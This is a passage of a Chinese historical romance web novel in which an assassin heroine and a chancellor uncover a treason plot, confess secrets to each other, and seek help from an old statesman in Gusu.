“进来吧你,难不成要睡树上吗?”白妙可没有回答他的
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问题,只是转头对着门外喊道。
话音落下没多久,在老板和陆瑜疑惑的目光中,依旧是一身黑衣的萧恒从门外走了进来。
虽然依旧是脸色阴沉,却没有像下午那般对陆瑜恶语相向,只是对着白妙可说:“要三间房。”
去姑苏还需要这尊大神帮忙,白妙可不想再将人给气跑了,只能先顺着毛,于是有些无奈地看着黑脸的萧恒和冷峻的陆瑜,叹了口气对客栈老板说:“三间。”
“好嘞。您几位跟我来。”老板好奇地看了眼这一位容貌碟丽的姑娘和一左一右站在她两侧的男人,还有后头那位被绑住手的青年。
纵使心中抓耳挠腮地好奇这几人的关系,但是也知道不该打听的别打听的规矩,老老实实带着三人上楼。
萧恒走在他后面,白妙可跟陆瑜走在最后,趁着没人注意的时候,白妙可勾了勾他的手指,冲他眨了眨眼睛。
陆瑜没什么表情的脸上这才有了些唇角的弧度,任由她勾着自己的手指往上走。
鹰爪帮少帮主被安排到最左侧萧恒房间里,白妙可睡在中间房间,右侧最靠里的房间是陆瑜的。
安排妥当都在房间休息的时候,白妙可也闲不住,又下楼同驿站老板闲聊起来。
“掌柜的,隔壁的官驿也是你家的吗?”她要了一碟瓜子,边嗑瓜子边问。
“那自然不是,那都是接待官家老爷的,自然也是官家人管着。”老板边擦桌子边说。
“那边怎么这么安静啊,有人住吗?”白妙可状似无意地问。
“当然有了,就在你们来之前,一队人刚骑着马来的。”
“这儿能来什么人啊?”白妙可接着套话。
“那咱们那知道啊。”
“不过我远远看见他们各个都带着刀。”老板压低声音说。
“霍,这么吓人!”白妙可装作害怕地缩了缩脖子,给足了老板反馈。
见她这么捧场,那个老板桌子都不擦了,凑近一点儿声音更小地说;“听说是来收田赋的,哎。”
“田赋不是免了三年吗?”白妙可疑惑。
“那是之前丞相大人还在的时候,这不人一走,赋税又多了起来。”老板边说边摇头。
“丞相大人没了?”白妙可瞪大了眼睛,他们离开京城的时候陆瑜不是安排装病了吗,怎么直接说成没了。
“嘘,听说是被外邦的刺客杀了。”
“真的假的?外邦刺客怎么会混进京城?”白妙可还是觉得奇怪。
“太傅亲自去收的尸,那还能有假。”老板见她不信,将自己道听途说的消息也说了出来。
“哦,可惜了。”白妙可算是懂了,马鸿哲这老东西抓不到陆瑜,便直接放出陆瑜死了的消息,趁机否决了新政,说不定还能收买些人,真是一举两得啊。
跟掌柜聊完,白妙可转头就去敲了隔壁陆瑜的房门。
敲了两下,又过了一会儿陆瑜才来开门。
门一开白妙可就迫不及待分享自己打探来的消息:“我跟你说……”
但是却在看见屋内坐着的萧恒以后戛然而止。
“哎,你俩在干啥?”
53. 常觉亏欠
磨了半天白妙可也没问出来这俩人躲在屋里密谋些什么,最让她惊奇的是,下午还差点要打起来的两个人,现在居然如此心平气和。
陆瑜自然不必说,一向喜怒不形于色的那张脸上不见任何不快,坐在一旁看起来清冷端方。
但是连一向脾气不好一点就着的萧恒也心平气和地坐在另一侧喝茶不语,就实在是太奇怪了。
可惜白妙可什么都没问出来,只好先作罢,放下自己的好奇心,同他们说了自己在驿馆掌柜那里打探来的消息。
“终于是沉不住气了。”陆瑜眸色沉沉,握着茶杯的手青筋凸起。
“你虽然不在京城,但是朝中其他大臣呢?皇帝呢?怎么就没人拦着他?”白妙可不理解。
“是啊,为什么呢?”陆瑜有一下没一下的转动着手上的扳指。
“走,去隔壁看看。”白妙可想去碰碰运气。
换了一身夜行衣,留下陆瑜看着鹰爪帮少帮主,她就跟萧恒一前一后翻进了隔壁的官驿后院。
天色已黑,院子里黑漆漆的只有马咀嚼草料的动静,两人悄无声息的落地,往亮着灯的前院摸去。
摸黑往里走了没几步,就有脚步声传来。
白妙可跟萧恒反应迅速,立刻屏息贴在墙角,一身黑衣完美隐没在夜色中。
便听得脚步声渐渐走近,进了隔壁的茅房,等等,他们是出来上茅房的?!白妙可忍不住有些崩溃地捂住了脸。
然后隔壁传来两人的交谈声。
“恁爹怎么舍得送你来这个儿?”其中一人问。
“我爹也是为了我好啊,现在不来收赋税,到时候就得被朝廷征兵去打仗,你说哪个划算?”
“你啷个知道要打仗噻?”
“听说燕孙子的兵都到了西边了!打仗不是早晚的事儿。”
“怪不得要派老子去收税噻,狗娘养的就知道欺负庄稼汉。”
“蒜鸟,蒜鸟,管不得那么多鸟~”
伴随着窸窸窣窣的布料摩擦声,紧接着是断断续续的水声,白妙可咬牙憋气听完了他们的对话。
等人走了立刻飞身跃到屋顶上大口喘气。
萧恒站在一旁留意着周围的动静,想要伸手替她顺顺气却又默默收回,最终只用两人能听见的气声问:“小可,你是真的爱他吗?”
“啊?”白妙可有点没跟上他的脑回路,刚才听到都要打仗的消息,他怎么还在纠结这些情情爱爱。
白妙可只给了他一个白眼就转头往回走,她可以理解萧恒不在意朝廷内部的斗争,那的确不是他们这些人该操心的。
但是涉及到外邦来袭,就不一样了。那是要打仗要死人的事情了,到时候不知会有多少百姓家破人亡妻离子散,这事关系到大燕的每一个子民。
白妙可一路上都赌气没有理他,任由萧恒跟在后面,直到快到房间的时候,确定四处无人,她才深呼一口气说道:
“对,我是心悦于他,但是我要护着他却不只是为此。若刚才听到的消息是真的,这其中必定有阴谋,他不回京,谁来阻止马鸿哲?”
“若是打起来了,倾巢之下安有完卵,月影阁又如何能独善其身?”
“萧恒,你我一块儿长大,我知道你最是护短,这次算是为了那些无辜百姓。”
萧恒开口打断她:“好,你想做什么我都会帮你。”
“不是为了别的,只是为了你。”
最后一句话声音很小,但是异常坚定,他不是什么朝廷高官,便是护短也只能护得住自己在意之人,只是这些话,就不必说给她听了。
白妙可如同从前那般拍了拍他,像是在说他们还是并肩作战的好朋友。
解决了萧恒的小脾气,白妙可松了口气,转头又去跟陆瑜讨论打仗的事情。
推门进去就看见陆瑜跟那位鹰爪帮少帮主坐在那里大眼瞪小眼。
那位少帮主看见白妙可回来,一脸的幸灾乐祸,就差把你要完蛋了写在脸上了。
白妙可不明所以地看向陆瑜,后者坐在桌边盯着手里的茶杯,低垂的眸子让人分辨不出情绪。
白妙可走过去坐在一旁,自己倒了杯茶一饮而尽才开口道:“要打仗了。”
陆瑜这才抬起头来,神色凛然地看了过来,“你说什么?”
白妙可便将方才去隔壁听来的消息同他仔细说了一遍。
“马鸿哲通敌。”陆瑜听完只说了五个字,却如同惊雷炸响,惊得白妙可瞪大了眼睛。
“他可是,一国太傅,太子之师,怎么会通敌叛国?”白妙可难以置信。
“具体原因还不知,但是他同敌国串通的事情,很早便开始了。”陆瑜说道。
他还未离京的时候就在调查此事,已经基本掌握了证据,大概从十年前开始马鸿哲就与邻国通信,近几年更是频繁。只是这位老狐狸做事十分谨慎,一般都是让手底下的人出面,从不亲自下场,于是一直没有实质性的证据。
更重要的是,陆瑜同皇帝商量了多次,也没有弄清楚他通敌叛国的原因,他在本朝有权有势,根基极深,可以说是要风得风要雨得雨,便是陆瑜偶尔给他找些不痛快,也是无法撼动他的根基,因此这个不为人知的原因恐怕没有这么简单。
“实在不行,我去把他杀了。”白妙可看着陆瑜皱起的眉头,提出了一种最简单的解决方法,既然马鸿哲能派人追杀陆瑜,那陆瑜怎么不能找人反杀呢。
“有些事情,不是杀人就能解决的,我必须得弄清楚。”陆瑜尝试同白妙可讲道理。
“噗嗤。”两人这般严肃的谈话中突然穿插进来一声嗤笑,引得两人纷纷看向绑在一边的那位鹰爪帮少帮主。
“菜狗,你笑什么?”白妙可横扫他一眼。
“姑奶奶,你自己什么身份不知道吗?还有什么事情比杀人来的轻松啊,他居然还想劝你,哈哈哈哈。”那位菜狗少帮主毫无形象的大笑被白妙可直接掐着下巴打断,咔吧一声下巴脱臼疼得他再也笑不出来了,顿时蔫了下去。
白妙可眉心跳了跳,这家伙什么时候认出来自己的身份了?还是大意了,以为是个傻子,没想到知道的还挺多。
让他闭嘴以后,白妙可若无其事地坐回桌边,笑着说:“他太聒噪了。”
说完就看陆瑜一脸探究地看着自己。
此时无声胜有声,白妙可忍不住又说:“我能有什么身份啊哈哈,你也是知道的,白家少东家嘛,啊哈哈。”
陆瑜垂下眼眸,喝了口茶,终于还是没有问什么。
其实在白妙
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可回来之前,这人已经将白妙可的杀手身份告诉他了,为了挑拨两人的关系,他还添油加醋地详细列举了白妙可手段的残忍,硬生生将人描述成了一个变态杀人狂,最后还不忘跟陆瑜谈条件,让他将自己放了,自己可以带着他逃离这个坏女人。
可是陆瑜只是全程面无表情的听他说完,神情淡定地仿佛早就知道一般。
说不震惊是假的,但他很快就联想起两人相遇后的种种,先是顶尖的武艺,然后是极高的伪装技巧,还有熟门熟路地翻墙偷听,就算是来镇国公府也能如入无人之地一般,种种行径,恐怕这人说的有那么几分是真的。
但她从未伤害过自己,甚至还多次救了自己,陆瑜很快便接受了这个事实,甚至在白妙可掩耳盗铃的时候还配合她假装没有听见也没有怀疑。
好不容易摘到的花,他不允许任何人破坏他们的感情。
就算她真是变态杀人狂,也是自己的妻子,以后好好教她便是,哪里有其他人指指点点的份。
于是这个问题就在一个装聋作哑,一个疯狂转移话题中揭了过去。
两人又聊回了正事。
“我们得快点儿了,真打起来就晚了。”白妙可有些着急。
“这还不是马鸿哲的一言堂,陛下应当能拖一段时间,不必着急,我们再有三五日就能到姑苏。”陆瑜缓声说。
白妙可看着他胸有成竹的样子,心中莫名信服,那股子不安和焦躁逐渐平复。
月凉如水,那个碍眼的少帮主也被送去萧恒那里看了起来。
屋内只有白妙可跟陆瑜对坐在窗边,夜风带着几分寒意吹在两人身上,却没有人说要离开。
有一搭没一搭的说着话,似乎是在享受暴风雨前的宁静。
“你看月亮好圆啊,又要到十五了吗?”白妙可指着天上的圆月给他看,陆瑜便懂了,这是想家了。
“再有一个月,我们便回京。”陆瑜拉过她的手,十指紧扣,没再提成亲的事情,但是心里不知已经想了多少次。
只是在知道她是一个杀手以后觉得自己的计划或许并不周全,她这般自由又洒脱,把她拘束在镇国公府那方天地里,会不会委屈了她。
陆瑜不是不知道京城中多少名门贵女甚至是皇室公主都想要嫁进镇国公府,但爱是常觉亏欠,别人趋之若鹜的家室门第,陆瑜却还是觉得委屈了她,于是便不再提起成亲的事情,唯恐自己的爱成为她的束缚。
爱是常觉亏欠。
殊不知,一边同样望月沉思的白妙可的心思如同烛火一般昏黄,她在纠结今天晚上还要不要回自己的房间,眼看时间已经这么晚了,陆瑜都没开口让她回去,是不是有些想法但是不好意思说呢,自己要不要主动一点啊。
白妙可想东想西的时候,完全没注意到男人看自己的视线十分复杂,有些犹豫挣扎又溢满了温柔。
“早些休息。”
“要不我们……”
两人几乎是同时开口,白妙可把剩下的睡觉两个字咽了回去,改口说:“是该休息了,那我先回去了。”
陆瑜起身相送,白妙可嘴上没有拒绝,只是赌气般直接从窗户翻回了隔壁,用行动表达了自己不需要。
留下不明所以的丞相大人站在原地摸了摸鼻子。
54. 青梅竹马
赶在天亮之前就上路,白妙可本就不轻的起床气全都发泄在了倒霉的鹰爪帮少帮主身上,这回不只是下巴了,他连手腕和胳膊都被拽脱臼了,还要惨兮兮地被萧恒压着走。
为了赶路,陆瑜规划的路线还是以小路近路为主,但是南方不比北方,大小河流湖泊数不胜数。
他们的路线却完美避开了水路,于是几人在第二日异常顺利的抵达了湖州。
湖州是襄王的封地,进城以后的光景也有所不同,大小商铺鳞次栉比,纵使他们到的时候已经天黑,街上也是热闹非凡,就算是京城,也只有年节庙会的时候才会这般灯火通明。
“这位襄王是个什么样的人?”白妙可忍不住好奇,转头问陆瑜。
“襄王是先帝最小的皇子,先帝宠爱的楚贵妃所出,母家显赫,又是老来得子颇受先帝宠爱,是个消散享乐的性子。”
“先帝驾崩以后,陛下念在他年纪小,而且没有任何夺嫡的野心,就将湖州给他做封地,放他离开了京城。”
“从前只听闻湖州物产富饶,百姓安居乐业,今日一见恐怕远超于此啊。”连陆瑜也忍不住感慨道。
“是啊,我白家的商铺在这里生意都更好了。”白妙可说着便抬手指了指街边的一家酒楼。
“走,请你们吃饭。”白妙可说着抬腿就往里走。
立刻就有店小二上前:“小姐,我们店没位置了。”
“没位置那是什么?”白妙可指着一个空桌问。
“实在不好意思,今日有贵人包场。”小二点头哈腰地陪不是。
“哪位贵人?”白妙可有些好奇。
“这哪里是小的能知道的,要不您几位明天再来,我帮您提前留好位置。”小二只想赶快送走这几人。
“我要见你们掌柜。”白妙可也不难为他,干脆提出了自己的要求。
“啊这……”
“快点儿的,我是你们掌柜的朋友。”
“好吧,您稍等。”
过了不到一盏茶的功夫,酒楼掌柜挺着肥硕的肚子,迈着小碎步从里面走了出来,脸上些许的不耐在看见门口站着的人以后立刻挂上了笑脸。
“少东家!”
“您怎么来了?”掌柜的步子也变快了,很快倒腾到面前。
“麻烦给我找个雅间。”白妙可也不跟他客气。
“哎好好,跟我来。”说罢自然而然地挤开陆瑜,站到白妙可旁边攀谈起来。
“少东家,您来了怎么也不提前打声招呼,让底下的人怠慢您了。”
“楼里来了什么贵客?生意都不做了?”白妙可一向不喜欢达官贵人动不动包场的行径,所以京城白家的酒楼,便是皇亲国戚来了也是没有包场这一说的。
“啊,是这样,今日是这个襄王来了,这会儿就在楼上呢。”掌柜的低声说道。
“他跟谁?”跟在白妙可身后一直默不作声的陆瑜突然开口。
白家商铺的掌柜每两年都会去京城报账领赏,因此见过白妙可,但是却没有机会见过丞相,自然不认识他的身份,犹豫着看向白妙可。
见白妙可点头,他才小声开口:“听说是京城来的大官。”
“在哪儿?带我去看看。”白妙可同陆瑜交换了个眼神。
虽然掌柜颇为犹豫,但是想了想白家给的丰厚待遇,他咬牙答应,带着两人进了二楼角落的一个雅间中。
“多谢掌柜,这儿没你什么事儿了,麻烦您照顾好我朋友。”白妙可笑着下逐客令,为了防止那位菜狗生事,萧恒就在一楼后院看着他。
掌柜点头应是离开。
白妙可环视了一圈房间,未等开口就看见陆瑜抬步走到一个博古架前站定。
侧耳偷听得要多熟练有多熟练,而且他还一脸的端方君子模样。
看得白妙可抿嘴偷笑,也放缓了步子走到他旁边站定,模仿他的样子端好双手,挺直腰板,活脱脱一个大家闺秀。
两人就这么板板正正地立在这里,像是菩萨庙里的金童玉女,绝不会有人能看出来这俩人在偷听。
“你说的那些本王都不懂,也不在乎。”襄王的声音还带着些少年人的青涩。
“那若是赵国来犯,襄王殿下也要坐视不管吗?”另一人明显沉稳许多。
酒杯碎裂的声音传来,伴随着襄王不复随和,带着愠怒的声音。
“你好大的胆子!就不怕我告诉皇兄?”
“王爷息怒,这可是千载难逢的立功机会啊。难道您想一辈子待在这个小小洲城里面吗?”
“你找错人了,这里没什么不好!”
“同样是皇子龙孙的亲兄弟,难道您心里就没有怨怼吗?”那人继续诱惑。
“他给你许诺了什么?让你来当说客。”襄王的声音陡然增大,显然已经气急。
“多年好友我岂会害你,乱世将至,有什么比活着重要。”另一人却放软了声音,低低地仿佛是在认错。
“为何会有乱世?难道不是为了满足他的狼子野心?”襄王一语中的。
“弘周,那不是你我能决定的,你就听我一句劝吧。”
“呵,我与你已无话可说,你走吧,你我情分就此断决。”
伴随着砰的一声重重的摔门声,屋内重归寂静。
白妙可同陆瑜面面相觑,没想到会听到这般激烈的争吵,好像还发现了些什么不可告人的秘密。
两人又静静等了片刻,隔壁房间内除了一声重重地叹息,再没有其他声音传来。
回到后院,白妙可迫不及待地问:“襄王那个男人是谁?”
陆瑜:“……”
“你是说同他说话的那个男人?”
“对对。”白妙可暗忖也差不多嘛。
“听声音是鸿胪寺少卿--元文石,也是贫寒学子靠着苦学科举入仕,能爬到现在的位置不容易。”陆瑜眯了眯双眼,又补充道:“曾听闻他苦读期间曾受贵人恩惠,只是不知这个贵人是哪位了。”
“那还能是谁,肯定是襄王啊。”白妙可其实已经脑补出了一出苦情大戏,看着陆瑜一本正经的样子,没好意思说出来。
“未必。”陆瑜心中大概有了个计划,瞥了一眼旁边绑着的那位菜狗少帮主,白妙可一脚将人踹到了柴房关了起来。
屋内只剩下三人了,陆瑜才悠悠开口:“我们要同襄王合作。”
“你认识襄王?”白妙可疑惑,本来按照计划他们要去姑苏徐家的。
“见过几次,没什么交情,但是我赌他会帮忙
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。”陆瑜很少做没有把握的事情,但是特殊情况只能放手一搏。
“徐家我会写信联络,但是他们能做的事情终归有限,襄王就不一样了。”
听完他的话,白妙可点了点头,坐在一旁的萧恒只是抱臂不语。
“我去同襄王交涉,徐家那边……”陆瑜的话音未落,就有两个声音同时打断了他。
“我去。”是白妙可跟萧恒几乎异口同声说道。
陆瑜忍不住蹙眉,心道真不愧是青梅竹马啊,如此有默契,呵。
下一刻白妙可的反应又让他心中那点儿不快烟消云散。
只见她毫不客气地说:“那你去吧。”
萧恒:“你同我一起。”他本意是觉得姑苏可能存在未知的危险,才不想让她去犯险,却没想到间接给了这两个人独处的机会。
“我就不用了吧。”白妙可不自觉地转头去看陆瑜,后者明显在憋笑,那张常年不变的冰块脸在看见她的小动作以后再也忍俊不禁,笑着点了点头。
看着两人的互动,萧恒的脸都黑了,为了自己不被气死,躲远点儿也不是不行,于是他拿着陆瑜给的信物,第二日天不亮就出发了。
白妙可跟陆瑜也没闲着,悄悄给襄王递了帖子,很快便约好了见面的时间地点。
更让白妙可惊喜的是,她在湖州白家钱庄收到了春杏留下的口信,说他们已经前往姑苏了。
这说明那日在船上失联的众人还活着,并且早他们到了姑苏,此时可能已经有了些收获,白妙可便有些呆不住了,恨不得立刻飞到姑苏去看看春杏。
但是陆瑜约见襄王的时间还在后日,白妙可急得在房间内团团转。
“要不我去把襄王绑来见你吧。”她百无聊赖地趴在床上说。
陆瑜坐在桌边写着什么,闻言说:“不可,你先去姑苏吧,我晚些就过去。”
“那你什么时候来?”白妙可有些不放心。
“襄王心思单纯又胸怀天下,应当不难说服,顺利的话,大后日便可去找你。”陆瑜早已在心中排演过,才给了这般笃定的答复。
白妙可有些犹豫,在床上滚了两圈,忍不住朝陆瑜勾勾手指。
“你过来,我有事跟你说。”
陆瑜闻言放下笔,却没有直接过来,而是先起身走到一旁净手擦干,才款款走到床边,低头看她。
白妙可在他擦手的时候,突然想到一些酥麻的回忆,悄悄红了耳朵,于是干脆用被子将自己的头包了起来,只露出巴掌大的精致小脸。
陆瑜坐在床边,连人带被子揽进怀里,低声问:“什么事?”
白妙可眨巴眨巴眼睛,对视的瞬间觉得自己要溺死在他的眼睛里了,感受到他温热的呼吸吐在颈侧,一时间大脑有些宕机。
这个男人怎么这么会蛊惑人啊,白妙可在心中感慨,刚想闭上眼睛清空脑中那些不合时宜的想法,唇上却传来久违的柔软。
自从上次以后,萧恒就时时盯着二人,直到今日才有机会再次单独相处,于是久旱逢甘霖,一发不可收拾。
“等,等一下。”在呼吸的间隙,白妙可艰难开口,声音是说不出的婉转动人。
再次对上陆瑜幽深炽热的眼眸,她觉得自己必须要跟陆瑜坦白了。
55. 你真厉害
“停一下,我有事跟你讲。”
白妙可深吸一口气,这次直接用被子将脸都蒙了起来,只露出一个毛茸茸的发顶。
声音隔着被子闷闷地传出来:
“其实,我是个杀手。”
“嗯。”陆瑜低低应了一声。
白妙可感觉有只温热的大手隔着被子摸了摸她的头,她将被子掀开一条缝,透过缝隙看到了陆瑜那张令她无数次心动的侧脸。
“你就没别的想说的了?”白妙可搞不懂他为什么是这么个反应,不应该惊讶、惊恐,甚至是生气自己被骗吗。
“有,可儿你真厉害。”说罢低头在她的额头啄了一下。
白妙可终于反应过来了,一把将被子掀开,捏住他的脸,假装恶狠狠地说道:“好啊陆瑜,你是不是早就知道了?!”
陆瑜的脸上本来没有什么多余的肉,白妙可捏了半天也没找到一个舒服的角度,直接将人给拽到床上,死死压住。
“你怎么知道的?你什么时候知道的?!”白妙可难以接受自己纠结了这么久要不要坦白,结果他早就知道了。
“我也是前几天才知道。”陆瑜被压在床上,衣裳头发都不复整齐。
听他这么一提,白妙可大概猜到了是那个死菜狗猜出了自己的身份,只是还有些不满意。
“他说你就信了?都不来问问我?”白妙可小脸气鼓鼓的说。
“我爱的是你这个人,无关你的身份,无关其他任何。”
“你想告诉我的时候自然会跟我说,我们还有很长的时间,我不会着急。”
陆瑜就这么被压着一动不动,眼神却紧盯着白妙可,一字一句说得清晰且坚定。
白妙可被他的话瞬间安抚,因为坦白杀手身份而带来的紧张感消失殆尽,整个人又像是没骨头一般瘫在了他的身上。
两人隔着被子相拥。
“虽然我是杀手,但是我杀人不多的。”白妙可弱弱地替自己辩解,但是机智地没有说她出手杀人不多的原因是她的出场费真的很贵,而且她只喜欢有难度的有挑战的任务。
陆瑜感受着来自她的重量,一只手轻轻顺着方才被她自己弄乱的墨发,轻声附和:“嗯,没关系的。”
这件事一直以来,只有萧恒和月影阁里面的几个好友才知道的秘密,白妙可甚至都没有告诉自家老爹和亲哥,却在此时透露给了他。
连同这么多年的痛苦与快乐,白妙可都想与他分享。
这就是爱一个人的感觉吗?白妙可听着他规律有力的心跳在心中暗自思考。
“我娘在我很小的时候就去世了,从那以后家里就只剩我跟我爹,再后来我救了萧恒回来,我们经常一块儿偷偷溜出去玩儿。”
“在一处废弃的院子里,我们发现了一位双目失明的老头,后来才知道,他不仅仅是双目失明,连手脚的筋脉都被人挑断了,只能坐在那里等死。”
“我们找人将他救了回去,每天都去同他说话解闷。”
“这才知道,他是一位武林高手,却最终被自己的妻子背叛,才落得如此下场。”
“后来,他教我们习武,也教我们许多人生的道理,却坚持不收我们为徒,说他已经不想与世上任何人有任何牵扯了。”
“有一天,他消失了,在一个平凡的清晨,我们找遍了白府也没找到,我实在不知道一个看不见又不能走的人是如何悄无声息离开的。”
白妙可说到这里突然停住了,陆瑜忍不住问:“后来呢?”
“后来啊,我再也没见过他了。”说完这句,白妙可便闭紧了双眼,不想让眼泪流下来。
陆瑜什么也没说,双手环住她,仿佛隔着时空,抱住了那个因为师傅消失不见而崩溃难过的小女孩。
两人就这么静静相拥,仿佛天地都静止。
听着他沉稳的心跳声,白妙可很快睡着了,再醒来的时候天色已经有些暗了,陆瑜点了一盏灯坐在桌边。
白妙可悄悄睁开眼看着他认真在写着什么,没看多久就对上了男人看过来的视线。
“醒了?该吃饭了。”
白妙可奥了一声,慢吞吞爬起来揉揉眼睛,惊讶地发现自己睡前偷偷哭过的痕迹完全没有了,定然是他替自己擦过了,没想到这位丞相大人会如此细心。
她走到桌边在他身边坐下,像是没骨头一样靠在他身上,抬眼去瞄他正在写的东西,发现是一封书信,里面详细说了要调查的东西和需要小心的人。
“给谁写的?”白妙可问。
“给徐家家主。”陆瑜答。
两人说话的功夫就有人送菜进来,白妙可坐直身体说道:“你当面跟他说不行吗,还要写信。”
“我帮你收拾好了,明天你就可以出发了。”陆瑜边说边写完最后的落款,将信叠好放到白妙可手里。
白妙可接过信,抬眼去看他没什么表情的脸,最后只说了句:“先吃饭。”
吃饭的时候她有些心不在焉,心里好像有两个小人在打架,一个说春杏还在姑苏等她,得快去看看她的情况;另一个在说把陆瑜自己留在这儿太危险了。
不过白妙可向来不是个犹豫不决的性子,一顿饭吃完她也有了决断。
下午睡了一觉的她换上一身夜行衣,同陆瑜说了一声就自己出门了。
回来的时候带了两个同样一身黑衣的蒙面人回来。
“我明日一早就出发,事情谈妥你就来姑苏找我。”
接着将两个人拉到面前介绍道:“这是影七,这是影八,两个都是一顶一的高手,先让他们负责保护你。”
两人点点头,没多看陆瑜,只对白妙可抱拳,齐声说:“二当家放心。”
白妙可点点头,安排两人住在了隔壁。
“这两位也是杀手?”人走了陆瑜才开口问。
“对,但是他们也会保护人的,都是可靠的,你放心用。”白妙可刚才出去跑了两条街才找到月影阁提前派来的这两个杀手。
说完白妙可又神秘兮兮地从怀里掏出一个东西交给陆瑜。
这东西长长一截长得有些像是火药,陆瑜接过看了两眼,问道:“这是用来做什么的?”
“这是烟雾弹,用来跑路的,只要点燃它就会有浓烟漫天,到时候你就快跑。”白妙可给他指了指引线的位置。
陆瑜还没来得及收好,白妙可又不知从哪儿掏出一个小瓷瓶递到他跟前。
“这
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是迷魂药,效用很强,只要人吸入一点就会浑身软弱无力,甚至晕倒。”
陆瑜用空着的左手接过,一句多谢还没说出来就看见白妙可又掏出一根针一样的东西。
“这是血骨葬花针,上面有剧毒,若是你不幸被抓了,就偷偷用针扎他,只要刺破血肉,必死无疑。”
陆瑜已经没有手来接了,无奈又宠溺地看向白妙可,虽然没有说话,但是眼睛却明明白白地写满了“你很担心我”。
他将东西妥帖放好,才握着白妙可的手说:“多谢,娘子。”
白妙可忍不住也笑了出来:“你要快些去找我啊。”
“好,你放心去。”
……
第二日,白妙可就如计划那般,一早就带上陆瑜准备的行囊,骑着一匹快马离开了湖州。
姑苏是湖州下属的最大的城镇,离得不算太远,她花了半日不到就快马加鞭到了姑苏城。
几乎没怎么休息白妙可就按照春杏留下的口信去了一间客栈。
晌午时分,客栈的店小二趴在柜台边昏昏欲睡,白妙可开门见山地问:“小二,你有没有见过一个姑娘,丹凤眼,身量比我低一点,梳双髻穿黄色衣裳?”
“没有没有,每天见那么多人,哪里还记得。”小二态度很是敷衍。
白妙可掏出一块碎银放到桌上说:“你再想想。”
小二双眼立即放光:“有是有,但是我跟你说了也没用,你还是别找了。”
“为何?”白妙可见他还要卖关子,又扔下一块碎银。
店小二才凑近低声开口:“那个姑娘半个月前就来了,跟她一块儿的还有几个膀大腰圆的男人,他们在我这店里住了一段时间,就惹上麻烦被抓走了。”
“什么意思?惹上什么麻烦?被谁抓走了?”白妙可追问道。若这小二说的是春杏的话,跟她一起的多半是戎青等人。
“这我就不知道了。”小二收起银子就准备继续回去躲懒。
白妙可揪着他的领子不让他走,另一只手悄悄用一柄匕首抵在他的腰上威胁道:“把你知道的都说了。”
“好好好,他们来了以后大街小巷地不知在找什么人,最后惊动了知府,被一波官兵给抓走了,就剩下你说的那个姑娘。”
“那她呢?”白妙可持刀的手又近一寸。
“哎哎,你别急。那个姑娘前两天就自己走了,去哪儿了我就不知道了,应该是去找人救被抓走那伙人了吧。”
“说不定现在也已经被官府抓起来了。”
白妙可眼珠一转,觉得以春杏的性格,找人帮忙是最有可能的,于是问:“要你说,姑苏城里面能让知府给面子放人的能是哪家?”
“那应当是徐家。”
白妙可见再问不出什么有用的了,便将人放开,自己出门朝着徐家的方向去了。
摸了摸包袱,想找一下陆瑜特意写给徐家的信,没想到在包袱里面摸到了那块被切掉一点的鱼符。
摸着沉甸甸的丞相鱼符,她思索着陆瑜给她这个做什么呢?总不能还是换钱吧,没什么头绪,她将东西收好,决心还是先找到春杏再说。
边想着心事边问路,很快就到了徐府门前。
56. 便宜夫君
来之前白妙可听陆瑜说过徐家的来历。
徐家三代忠臣,如今的家主曾任前朝阁老,在朝堂中有不少官员都是他的学生,受他恩惠的贫寒学子更是数不胜数。
徐老为人刚正不阿,黑白分明。在二十多年前余家被满门抄斩的时候他曾经死柬要求先帝彻查此事,未果,徐阁老一怒之下告老还乡,举家从京城迁至姑苏。
后来新帝登基曾经多次请他出山,继续担任阁老,他都拒绝了,并且其子孙后代也再无人入仕,转而经商或者行医,在姑苏偏安一隅,依旧算得上姑苏的名门望族之一。
凭借着陆瑜给的信件,白妙可很快见到了徐家家主徐明诚。虽然已经退位多年,但是大家还是习惯尊称他一句徐阁老。
白妙可见到这个两鬓斑白,背脊却依旧笔直的老爷子,恭敬地朝他拱手见礼:“徐阁老,晚辈白妙可,受陆瑜所托前来见您。”
徐阁老点点头,在上首的太师椅落座后,转头看向她。
“是子澄让你来找我的?”
白妙可颔首,将那封信递了过去。不动声色地在心里暗忖,徐阁老称呼的是陆瑜的表字,他们俩应当是关系不错吧。
结果下一秒就见徐老看完信以后,啪得一声将信纸拍在桌子上,震得桌上的茶水都溅了几滴出来,从鼻子里面重重地哼了一声。
白妙可暗道不妙,有些忐忑地抬头看向上首处吹胡子瞪眼的徐阁老,突然有些不确定方才的猜测了。
“他怎么自己不过来?”徐阁老的声音苍老但是气势很足,完全不像是已经花甲之年。
“他在湖州还有些事情,过两日就来了。”白妙可像对待家里的长辈一样,笑眯眯地回道。
就见徐阁老打量了一眼落落大方坐在那里的白妙可,忽然问:“你这丫头跟他什么关系?”
白妙可还在措辞怎么让他帮忙找人呢,听见这个问题愣了片刻,有些不知道该如何回答,索性装作不好意思地笑了笑。
“这臭小子成亲也不知道派人来知会一声。”徐阁老果然看出了她的意思,态度稍微缓和一点儿。
眼见徐阁老又要不高兴,白妙可赶忙打断了他:“不是的,我们还没成亲。”
为了防止他追问,白妙可生硬地转移话题:“我主要是有件事情想拜托您。”
徐阁老被转移了注意力,问道:“什么事?”
“最近城里来了一队人到处找人的消息您应该知道吧,那些人是陆瑜的手下,听说是被官府抓走了,其中有个没被抓的是我朋友,不知她是否上门来找过您帮忙?”白妙可说完充满希冀地看着他。
“是有人上门,是你的朋友?”徐阁老说完,偏头跟身边的人耳语一阵,很快就有一个人被压了上来。
白妙可眉心一跳,看着被绑成粽子动弹不得的人,可不正是比她早两天出发的萧恒。
但是萧恒也是数一数二的高手了,不知道他到底干了什么,居然能被抓住。
她不忍直视地捂住了额头,非常不想承认这人是自己的朋友。
眼看徐阁老还看着自己,白妙可果断否认:“不是不是,我不认识他。”
“我要找的人是一个姑娘,她跟陆瑜的人一块来的,不知道是不是也被抓走了。”
萧恒被抓起来绑成这样,这位徐阁老恐怕真不简单,必须得认真对待。
白妙可斟酌语句诚恳地将她跟陆瑜船上遇刺,后来与春杏等人走散,两人被迫在镇上养伤,伤好后在湖州收到消息,却没找到人的经过一五一十地告诉了这位徐阁老。
老爷子捋了捋有些花白的胡子,眯起眼睛看了看仍在挣扎的萧恒和一边乖巧坐着的白妙可,慢悠悠开口:“我可以帮你找人,但是你得告诉我你来姑苏是做什么的?”
白妙可没想到他一下子就问到了关键问题,犹豫片刻还是决定先蒙混过关,他与陆瑜关系匪浅,可以透露给他陆瑜有关的消息,但是自己还是不能太快就交了底牌。
